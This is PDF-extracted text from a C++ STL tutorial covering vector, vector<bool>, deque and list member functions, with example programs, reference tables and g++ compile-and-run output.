vec1.erase(vec1.begin() + 1, vec1.begin() + 3);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

Output:

- The return value is the first insert() function returns an iterator that point to the position where the
new element was inserted into the vector.

//vector, insert()
//begin(), end()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(12);
vec1.push_back(100);
vec1.push_back(9);
vec1.push_back(21);

cout<<"Original vec1 data: ";


for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+1, 17)"<<endl;


vec1.insert(vec1.begin()+1, 17);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+2, 3, 24)"<<endl;


vec1.insert(vec1.begin()+2, 3, 24);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+1, \n"


" vec1.begin()+2, vec1.begin()+4)"<<endl;
vec1.insert(vec1.begin()+1, vec1.begin()+2, vec1.begin()+4);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)

www.tenouk.com Page 15 of 30
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

Output:

- The return value is the maximum possible length of the vector.

//vector, max_size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::size_type i;

i = vec1.max_size();
cout<<"The max possible length of the vector is "<<i<<endl;
return 0;
}

Output:

//vector, pop_back(), back()


//and push_back()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(3);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.back()\n";
cout<<vec1.back()<<endl;

cout<<"\nOperation: push_back(2)\n";
vec1.push_back(2);
cout<<vec1.back()<<endl;

cout<<"New vec1 data: ";


for(i=0; i<vec1.size(); ++i)

www.tenouk.com Page 16 of 30
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.pop_back()\n";
vec1.pop_back();
cout<<vec1.back()<<endl;

cout<<"New vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

return 0;
}

Output:

- The return value is a reverse random-access iterator addressing the first element in a reversed vector or
addressing what had been the last element in the un reversed vector.
- If the return value of rbegin() is assigned to a const_reverse_iterator, the vector object
cannot be modified. If the return value of rbegin() is assigned to a reverse_iterator, the
vector object can be modified.

//vector, rbegin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vector <int>::reverse_iterator vec1_rIter;

vec1.push_back(10);
vec1.push_back(7);
vec1.push_back(3);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;

cout<<"\nOperation: vec1.rbegin()\n";
vec1_rIter = vec1.rbegin();
cout<<"The first element of the reversed vec1 is "<<*vec1_rIter<<endl;
return 0;
}

Output:

www.tenouk.com Page 17 of 30
- The return value is a reverse random-access iterator that addresses the location succeeding the last
element in a reversed vector (the location that had preceded the first element in the unreversed vector).
- rend() is used with a reversed vector just as end() is used with a vector.
- If the return value of rend() is assigned to a const_reverse_iterator, then the vector object
cannot be modified. If the return value of rend() is assigned to a reverse_iterator, then the
vector object can be modified.
- rend() can be used to test to whether a reverse iterator has reached the end of its vector.
- The value returned by rend() should not be dereferenced.

//vector, rend()
//and rbegin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::reverse_iterator vec1_rIter;

vec1.push_back(7);
vec1.push_back(3);
vec1.push_back(4);
vec1.push_back(1);

cout<<"Operation: vec1.rbegin() and vec1.rend()\n";


cout<<"vec1 data: ";
for(vec1_rIter = vec1.rbegin(); vec1_rIter != vec1.rend(); vec1_rIter++)
cout<<*vec1_rIter<<' ';
cout<<endl;
return 0;
}

Output:

- If the container's size is less than the requested size, _Newsize, elements are added to the vector until
it reaches the requested size.
- If the container's size is larger than the requested size, the elements closest to the end of the container
are deleted until the container reaches the size _Newsize. If the present size of the container is the
same as the requested size, no action is taken.
- size() reflects the current size of the vector.

//vector, resize()
//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vec1.push_back(40);
vec1.push_back(20);

www.tenouk.com Page 18 of 30
vec1.push_back(10);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

//resize to 5 and add data at the end...


cout<<"\nOperation: vec1.resize(5,30)\n";
vec1.resize(5,30);
cout<<"The size of vec1 is "<<vec1.size()<<endl;
cout<<"The value of the last object is "<<vec1.back()<<endl;
cout<<"\nNew vec1 data: ";
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.resize(4)\n";
vec1.resize(4);

cout<<"\nNew vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nThe new size of vec1 is "<<vec1.size()<<endl;


cout<<"The value of the last object is "<<vec1.back()<<endl;
return 0;
}

Output:

- The return value is the current length of the vector.

//vector, reserve()
//capacity() and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(4);
vec1.push_back(2);
vec1.push_back(10);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.capacity()"<<endl;
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;
cout<<"\nOperation: vec1.reserve(10)"<<endl;
vec1.reserve(10);

www.tenouk.com Page 19 of 30
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;
cout<<"\nOperation: vec1.size()"<<endl;
cout<<"Current size of vec1 = "<<vec1.size()<<endl;
return 0;
}

Output:

//vector, swap()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;

vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(2);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

vec2.push_back(11);
vec2.push_back(21);
vec2.push_back(30);

cout<<"vec2 data: ";


for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';
cout<<endl;

cout<<"The number of elements in vec1 = "<<vec1.size()<<endl;


cout<<"The number of elements in vec2 = "<<vec2.size()<<endl;
cout<<endl;

cout<<"Operation: vec1.swap(vec2)\n"<<endl;
vec1.swap(vec2);
cout<<"The number of elements in v1 = "<<vec1.size()<<endl;
cout<<"The number of elements in v2 = "<<vec2.size()<<endl;

cout<<"vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"vec2 data: ";


for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 20 of 30
vector Class Template Operator

Operator Description
Returns a reference to the vector element at a specified
operator[]
position.

Table 27.6

- The return value is, if the position specified is greater than the size of the container, the result is
undefined.
- If the return value of operator[] is assigned to a const_reference, the vector object cannot be
modified. If the return value of operator[] is assigned to a reference, the vector object can be
modified.

//vector operator[]
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(10);
vec1.push_back(9);
vec1.push_back(8);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: int& j = vec1[2]\n";


int& j = vec1[2];
cout<<"The third integer of vec1 is "<<j<<endl;
return 0;
}

Output:

vector Class Template Specializations

Specialization Description
A full specialization of the template class vector for elements of type
vector<bool>
bool with an allocator for the underlying type used by the
Class
specialization.

www.tenouk.com Page 21 of 30
Table 27.7

vector<bool> Class

vector<bool> Class Members

vector<bool> Typedefs

Typedef Description
A type that describes an object that can serve as a constant random-
const_iterator access iterator for the sequence of Boolean elements contained by the
vector.
A type that describes an object that can serve as a constant pointer to
const_pointer
a Boolean element of the sequence contained by the vector.
A type that describes an object that can serve as a constant reference
const_reference
to a Boolean element of the sequence contained by the vector.
A type that describes an object that can serve as a random-access
iterator
iterator for a sequence of Boolean elements contained by a vector.
A type that describes an object that can serve as a constant pointer to
pointer
a Boolean element of the sequence contained by the vector.

Table 27.8

vector<bool> Member Functions

Member
Description
function
flip() Reverses all bits in the vector.
swap() Exchanges the elements of two vectors with Boolean elements.

Table 27.9

//vector_bool, flip()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
_Bvector vecbool;

vecbool.push_back(1);
vecbool.push_back(0);

cout<<"The vector is: "<<vecbool.front()<<" "<<vecbool.back()<<endl;


cout<<"\nOperation: vecbool.flip()\n";
vecbool.flip();
cout<<"The flipped vector is: "<<vecbool.front()<<" "<<vecbool.back()<<endl;
return 0;
}

Output:

//vector_bool, swap()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
_Bvector vec1, vec2;

www.tenouk.com Page 22 of 30
vec1.push_back(0);
vec1.push_back(0);
vec2.push_back(1);
vec2.push_back(1);

cout<<"The vector vec1 is: "<<vec1.front()<<" "<<vec1.back()<<endl;


cout<<"The vector vec2 is: "<<vec2.front()<<" "<<vec2.back()<<endl;

cout<<"Operation: swap(vec1, vec2);\n";


swap(vec1, vec2);
cout<<"After swapping, vec1 is: "<<vec1.front()<<" "<<vec1.back()<<endl;
cout<<"After swapping, vec2 is: "<<vec2.front()<<" "<<vec2.back()<<endl;
return 0;
}

Output:

Nested Classes

Nested class Description


vector<bool> A nested class whose objects are able to provide references to
reference Class elements (single bits) within a vector<bool> object.

Table 27.10

---------------------------------------End of vector-----------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

27.5.2 deque

- The term deque (pronounced “deck”) is an abbreviation for ‘double-ended queue’. It is a dynamic
array that is implemented so that it can grow in both directions.
- So, inserting elements at the end and at the beginning is fast. However, inserting elements in the middle
takes time because elements must be moved. Deque structure can be depicted as follow:

- Deque reallocation occurs when a member function must insert or erase elements of the sequence:

▪ If an element is inserted into an empty sequence, or if an element is erased to leave an empty


sequence, then iterators earlier returned by begin() and end() become invalid.
▪ If an element is inserted at the first position of the deque, then all iterators, but no references, that
designate existing elements become invalid.
▪ If an element is inserted at the end of the deque, then end() and all iterators, but no references,
that designate existing elements become invalid.

www.tenouk.com Page 23 of 30
▪ If an element is erased at the front of the deque, only that iterator and references to the erased
element become invalid.
▪ If the last element is erased from the end of the deque, only that iterator to the final element and
references to the erased element become invalid.

- Otherwise, inserting or erasing an element invalidates all iterators and references.


- The following general deque example declares a deque for floating-point values, inserts elements from
1.2 to 12 at the front of the container, and prints all elements of the deque:

//simple deque example


#include <iostream>
#include <deque>
using namespace std;

int main()
{
//deque container for floating-point elements
//declaration
deque<float> elem, elem1;

//insert the elements each at the front


cout<<"push_front()\n";
for(int i=1; i<=10; ++i)
//insert at the front
elem.push_front(i*(1.2));

//print all elements separated by a space


for(i=0; i<elem.size(); ++i)
cout<<elem[i]<<' ';
cout<<endl;

//insert the elements each at the back


cout<<"\npush_back()\n";
//insert at the back
for(i=1; i<=10; ++i)
elem1.push_back(i*(1.2));

//print all elements separated by a space


for(i=0; i<elem1.size(); ++i)
cout<<elem1[i]<<' ';
cout<<endl;

return 0;
}

Output:

<deque> Header Members

Operators

Operator Description
Tests if the deque object on the left side of the operator is not equal to the
operator!=
deque object on the right side.
Tests if the deque object on the left side of the operator is less than the deque
operator<
object on the right side.
Tests if the deque object on the left side of the operator is less than or equal to
operator<=
the deque object on the right side.
Tests if the deque object on the left side of the operator is equal to the deque
operator==
object on the right side.
Tests if the deque object on the left side of the operator is greater than the
operator>
deque object on the right side.

www.tenouk.com Page 24 of 30
Tests if the deque object on the left side of the operator is greater than or equal
operator>=
to the deque object on the right side.

Table 27.11

deque Template Class

Class Description
A template class of sequence containers that arrange elements of a given type in
deque
a linear arrangement and, like vectors, allow fast random access to any element
Class
and efficient insertion and deletion at the back of the container.

Table 27.12

- The STL sequence container deque arranges elements of a given type in a linear arrangement and, like
vectors, allow fast random access to any element and efficient insertion and deletion at the back of the
container.
- However, unlike a vector, the deque class also supports efficient insertion and deletion at the front of
the container.

deque Template Class Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the deque object.
A type that provides a random-access iterator that can access and read a
const_iterator
const element in the deque.
const_pointer A type that provides a pointer to a const element in a deque.
A type that provides a reference to a const element stored in a deque
const_reference
for reading and performing const operations.
A type that provides a random-access iterator that can read any const
const_reverse_iterator
element in the deque.
A type that provides the difference between two iterators that refer to
difference_type
elements within the same deque.
A type that provides a random-access iterator that can read or modify
iterator
any element in a deque.
pointer A type that provides a pointer to an element in a deque.
reference A type that provides a reference to an element stored in a deque.
A type that provides a random-access iterator that can read or modify an
reverse_iterator
element in a reversed deque.
size_type A type that counts the number of elements in a deque.
value_type A type that represents the data type stored in a deque.

Table 27.13

deque Template Class Member Functions

Member function Description


Erases elements from a deque and copies a new set of elements to the target
assign()
deque.
at() Returns a reference to the element at a specified location in the deque.
back() Returns a reference to the last element of the deque.
begin() Returns an iterator addressing the first element in the deque.
clear() Erases all the elements of a deque.
deque constructor, constructs a deque of a specific size or with elements of a
deque() specific value or with a specific allocator or as a copy of all or part of some
other deque.
empty() Tests if a deque is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
deque.
Removes an element or a range of elements in a deque from specified
erase()
positions.
front() Returns a reference to the first element in a deque.
get_allocator() Returns a copy of the allocator object used to construct the deque.

www.tenouk.com Page 25 of 30
Inserts an element or a number of elements or a range of elements into the
insert()
deque at a specified position.
max_size() Returns the maximum length of the deque.
pop_back() Deletes the element at the end of the deque.
pop_front() Deletes the element at the beginning of the deque.
push_back() Adds an element to the end of the deque.
push_front() Adds an element to the beginning of the deque.
rbegin() Returns an iterator to the first element in a reversed deque.
rend() Returns an iterator that point just beyond the last element in a reversed deque.
resize() Specifies a new size for a deque.
size() Returns the number of elements in the deque.
swap() Exchanges the elements of two deques.

Table 27.14

deque Template Class Operator

Operator Description
operator[] Returns a reference to the deque element at a specified position.

Table 27.15

- deque constructor, constructs a deque of a specific size or with elements of a specific value or with a
specific allocator or as a copy of all or part of some other deque.
- All constructors store an allocator object and initialize the deque.
- None of the constructors perform any interim reallocations.

//deque, constructors
#include <deque>
#include <iostream>
using namespace std;

int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter,
deq6Iter;

//Create an empty deque deq0


deque <int> deq0;

//Create a deque deq1 with 10 elements of default value 0


deque <int> deq1(10);

//Create a deque deq2 with 7 elements of value 10


deque <int> deq2(7, 10);

//Create a deque deq3 with 4 elements of value 2 and with the


//allocator of deque deq2
deque <int> deq3(4, 2, deq2.get_allocator());

//Create a copy, deque deq4, of deque deq2


deque <int> deq4(deq2);

//deque deq5 a copy of the deq4[_First, _Last) range


deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq5(deq4.begin(), deq4Iter);

//Create a deque deq6 by copying the range deq4[_First, _Last) and


//the allocator of deque deq2
deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq6(deq4.begin(), deq4Iter, deq2.get_allocator());

//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";

www.tenouk.com Page 26 of 30
cout<<endl;

cout<<"\nOperation: deque <int> deq1(10)\n";


cout<<"deq1 data: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq2(7, 3)\n";


cout<<"deq2 data: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq3(4, 2, deq2.get_allocator())\n";


cout<<"deq3 data: ";
for(deq3Iter = deq3.begin(); deq3Iter != deq3.end(); deq3Iter++)
cout<<*deq3Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq4(deq2);\n";


cout<<"deq4 data: ";
for(deq4Iter = deq4.begin(); deq4Iter != deq4.end(); deq4Iter++)
cout<<*deq4Iter<<" ";
cout<<endl;

cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;

cout<<"\nOperation1: deq4Iter = deq4.begin() and deq4Iter++...\n";


cout<<"Operation2: deque <int> deq6(deq4.begin(), \n"
" deq4Iter, deq2.get_allocator())\n";
cout<<"deq6 data: ";
for(deq6Iter = deq6.begin(); deq6Iter != deq6.end(); deq6Iter++)
cout<<*deq6Iter<<" ";
cout<<endl;
return 0;
}

Output:

- The following are program examples compiled using g++. Well, it seems that compiling STL
programs using g++ is smoother because if you use an old constructs, that is not based on the standard,
in your program, g++ will prompt you!

www.tenouk.com Page 27 of 30
//*******vector.cp*********
//vector constructors
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;

//Create an empty vector vec0


vector <int> vec0;

//Create a vector vec1 with 10 elements of default value 0


vector <int> vec1(10);

//Create a vector vec2 with 7 elements of value 13


vector <int> vec2(7, 13);

//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());

//vector vec4, a copy of vector vec2


vector <int> vec4(vec2);

//Create a vector vec5 by copying the range of vec4[_First, _Last)


vector <int> vec5(vec4.begin() + 1, vec4.begin() + 3);

cout<<"Operation: vector <int> vec0\n";


cout<<"vec0 data: ";
for(vec0Iter = vec0.begin(); vec0Iter != vec0.end(); vec0Iter++)
cout<<" "<<*vec0Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec1(10)\n";


cout<<"vec1 data: ";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<" "<<*vec1Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec2(7, 13)\n";


cout<<"vec2 data: ";
for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<" "<<*vec2Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec3(5, 3, vec2.get_allocator())\n";


cout<<"vec3 data: ";
for(vec3Iter = vec3.begin(); vec3Iter != vec3.end(); vec3Iter++)
cout<<" "<<*vec3Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec4(vec2)\n";


cout<<"vec4 data: ";
for(vec4Iter = vec4.begin(); vec4Iter != vec4.end(); vec4Iter++)
cout<<" "<<*vec4Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec5(vec4.begin()+1, vec4.begin()+3)\n";


cout<<"vec5 data: ";
for(vec5Iter = vec5.begin(); vec5Iter != vec5.end(); vec5Iter++)
cout<<" "<<*vec5Iter;
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ vector.cpp -o vector


[bodo@bakawali ~]$ ./vector

Operation: vector <int> vec0


vec0 data:

Operation: vector <int> vec1(10)


vec1 data: 0 0 0 0 0 0 0 0 0 0

Operation: vector <int> vec2(7, 13)


vec2 data: 13 13 13 13 13 13 13

www.tenouk.com Page 28 of 30
Operation: vector <int> vec3(5, 3, vec2.get_allocator())
vec3 data: 3 3 3 3 3

Operation: vector <int> vec4(vec2)


vec4 data: 13 13 13 13 13 13 13

Operation: vector <int> vec5(vec4.begin()+1, vec4.begin()+3)


vec5 data: 13 13

//********deque.cpp*********
//deque, constructors
#include <deque>
#include <iostream>
using namespace std;

int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter,
deq6Iter;

//Create an empty deque deq0


deque <int> deq0;

//Create a deque deq1 with 10 elements of default value 0


deque <int> deq1(10);

//Create a deque deq2 with 7 elements of value 10


deque <int> deq2(7, 10);

//Create a deque deq3 with 4 elements of value 2 and with the


//allocator of deque deq2
deque <int> deq3(4, 2, deq2.get_allocator());

//Create a copy, deque deq4, of deque deq2


deque <int> deq4(deq2);

//deque deq5 a copy of the deq4[_First, _Last) range


deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq5(deq4.begin(), deq4Iter);

//Create a deque deq6 by copying the range deq4[_First, _Last) and


//the allocator of deque deq2
deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq6(deq4.begin(), deq4Iter, deq2.get_allocator());

//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq1(10)\n";


cout<<"deq1 data: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq2(7, 3)\n";


cout<<"deq2 data: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq3(4, 2, deq2.get_allocator())\n";


cout<<"deq3 data: ";
for(deq3Iter = deq3.begin(); deq3Iter != deq3.end(); deq3Iter++)
cout<<*deq3Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq4(deq2);\n";


cout<<"deq4 data: ";
for(deq4Iter = deq4.begin(); deq4Iter != deq4.end(); deq4Iter++)
cout<<*deq4Iter<<" ";

www.tenouk.com Page 29 of 30
cout<<endl;

cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;

cout<<"\nOperation1: deq4Iter = deq4.begin() and deq4Iter++...\n";


cout<<"Operation2: deque <int> deq6(deq4.begin(), \n"
" deq4Iter, deq2.get_allocator())\n";
cout<<"deq6 data: ";
for(deq6Iter = deq6.begin(); deq6Iter != deq6.end(); deq6Iter++)
cout<<*deq6Iter<<" ";
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ deque.cpp -o deque


[bodo@bakawali ~]$ ./deque

Operation: deque <int> deq0


deq0 data:

Operation: deque <int> deq1(10)


deq1 data: 0 0 0 0 0 0 0 0 0 0

Operation: deque <int> deq2(7, 3)


deq2 data: 10 10 10 10 10 10 10

Operation: deque <int> deq3(4, 2, deq2.get_allocator())


deq3 data: 2 2 2 2

Operation: deque <int> deq4(deq2);


deq4 data: 10 10 10 10 10 10 10

Operation1: deq4Iter++...
Operation2: deque <int> deq5(deq4.begin(), deq4Iter)
deq5 data: 10 10 10

Operation1: deq4Iter = deq4.begin() and deq4Iter++...


Operation2: deque <int> deq6(deq4.begin(),
deq4Iter, deq2.get_allocator())
deq6 data: 10 10 10

----------------------------------------------------End of deque----------------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 30 of 30
MODULE 28
--THE STL--
CONTAINER PART II
list, set, multiset

My Training Period: hours

Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ program compilation examples
given at the end of this Module.

Abilities

▪ Able to understand and use list sequence container.


▪ Able to understand and use set associative container.
▪ Able to understand and use multiset associative container.

28.1 Lists

- A list is implemented as a doubly linked list of elements. This means each element in a list has its own
segment of memory and refers to its predecessor and its successor.
- Lists do not provide random access. It can be depicted as follow:

- For example, to access the tenth element, you must navigate the first nine elements by following the
chain of their links. However, a step to the next or previous element is possible in constant time.
- Thus, the general access to an arbitrary element takes linear time (the average distance is proportional
to the number of elements). This is a lot worse than the amortized constant time provided by vectors
and deques.
- The advantage of a list is that the insertion or removal of an element is fast at any position. Only the
links must be changed. This implies that moving an element in the middle of a list is very fast
compared with moving an element in a vector or a deque.
- The list member functions merge(), reverse(), unique(), remove(), and remove_if()
have been optimized for operation on list objects and offer a high-performance alternative to their
generic counterparts.
- List reallocation occurs when a member function must insert or erase elements of the list. In all such
cases, only iterators or references that point at erased portions of the controlled sequence become
invalid.
- The following general list example creates an empty list of characters, inserts all characters from 'a' to
'z', and prints all elements by using a loop that actually prints and removes the first element of the
collection:

//list example
#include <iostream>
#include <list>
using namespace std;

int main()
{
//list container for character elements
list<char> elem;

//append elements from 'a' to 'z'


for(char chs='a'; chs<= 'z'; ++chs)
elem.push_back(chs);

//while there are elements


//print and remove the element
while(!elem.empty())
{
cout<<elem.front()<<' ';
elem.pop_front();
}
cout<<endl;

www.tenouk.com Page 1 of 29
return 0;
}

Output:

- With STL, using loop to print the outputs and removes the element is not a proper way. Normally, we
would iterate over all elements using iterator. Using loop in the program example just for discussion.
- However, direct element access by using operator[] is not provided for lists. This is because lists
don't provide random access, and thus using operator[] would cause bad performance.
- There is another way to loop over the elements and print them by using iterators.

28.2 <list> Header Members

Operators

Operator Description
Tests if the list object on the left side of the operator is not equal to the list object on the
operator!=
right side.
Tests if the list object on the left side of the operator is less than the list object on the
operator<
right side.
Tests if the list object on the left side of the operator is less than or equal to the list
operator<=
object on the right side.
Tests if the list object on the left side of the operator is equal to the list object on the
operator==
right side.
Tests if the list object on the left side of the operator is greater than the list object on the
operator>
right side.
Tests if the list object on the left side of the operator is greater than or equal to the list
operator>=
object on the right side.

Table 28.1

list Template Class

Class Description
A template class of sequence containers that maintain their elements in a linear
list
arrangement and allow efficient insertions and deletions at any location within the
Class
sequence.

table 28.2

- The STL list class is a template class of sequence containers that maintain their elements in a linear
arrangement and allow efficient insertions and deletions at any location within the sequence.
- The sequence is stored as a bidirectional linked list of elements, each containing a member of some
type Type.

list Template Class Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for a list object.
A type that provides a bidirectional iterator that can read a const
const_iterator
element in a list.
const_pointer A type that provides a pointer to a const element in a list.
A type that provides a reference to a const element stored in a list for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in a list.
difference_type A type that provides the difference between two iterators those refer to

www.tenouk.com Page 2 of 29
elements within the same list.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a list.
pointer A type that provides a pointer to an element in a list.
A type that provides a reference to a const element stored in a list for
reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed list.
size_type A type that counts the number of elements in a list.
value_type A type that represents the data type stored in a list.

Table 28.3

list Template Class Member Functions

Member function Description


assign() Erases elements from a list and copies a new set of elements to the target list.
back() Returns a reference to the last element of a list.
begin() Returns an iterator addressing the first element in a list.
clear() Erases all the elements of a list.
empty() Tests if a list is empty.
Returns an iterator that addresses the location succeeding the last element in
end()
a list.
erase() Removes an element or a range of elements in a list from specified positions.
front() Returns a reference to the first element in a list.
get_allocator() Returns a copy of the allocator object used to construct a list.
Inserts an element or a number of elements or a range of elements into a list
insert()
at a specified position.
list constructor, constructs a list of a specific size or with elements of a
list()
specific value or with a specific allocator or as a copy of some other list.
max_size() Returns the maximum length of a list.
Removes the elements from the argument list, inserts them into the target list,
merge() and orders the new, combined set of elements in ascending order or in some
other specified order.
pop_back() Deletes the element at the end of a list.
pop_front() Deletes the element at the beginning of a list.
push_back() Adds an element to the end of a list.
push_front() Adds an element to the beginning of a list.
rbegin() Returns an iterator addressing the first element in a reversed list.
remove() Erases elements in a list that match a specified value.
remove_if() Erases elements from the list for which a specified predicate is satisfied.
Returns an iterator that addresses the location succeeding the last element in
rend()
a reversed list.
resize() Specifies a new size for a list.
reverse() Reverses the order in which the elements occur in a list.
size() Specifies a new size for a list.
Arranges the elements of a list in ascending order or with respect to some
sort()
other order relation.
splice() Removes elements from the argument list and inserts them into the target list.
swap() Exchanges the elements of two lists.
Removes adjacent duplicate elements or adjacent elements that satisfy some
unique()
other binary predicate from the list.

Table 28.4

- list constructor, constructs a list of a specific size or with elements of a specific value or with a specific
allocator or as a copy of all or part of some other list.
- All constructors store an allocator object and initialize the list.
- get_allocator() returns a copy of the allocator object used to construct a list.
- None of the constructors perform any interim reallocations.

//list constructors
#include <list>
#include <iostream>
using namespace std;

www.tenouk.com Page 3 of 29
int main()
{
list <int>::iterator li0Iter, li1Iter, li2Iter, li3Iter, li4Iter, li5Iter, li6Iter;

//Create an empty list li0


list <int> li0;

//Create a list li1 with 10 elements of default value 0


list <int> li1(10);

//Create a list li2 with 8 elements of value 7


list <int> li2(8, 7);

//Create a list li3 with 9 elements of value 8 and with the


//allocator of list li2
list <int> li3(9, 8, li2.get_allocator());

//li4, a copy of list li2


list <int> li4(li2);

//Create a list li5 by copying the range of li4[_First, _Last)


li4Iter = li4.begin();
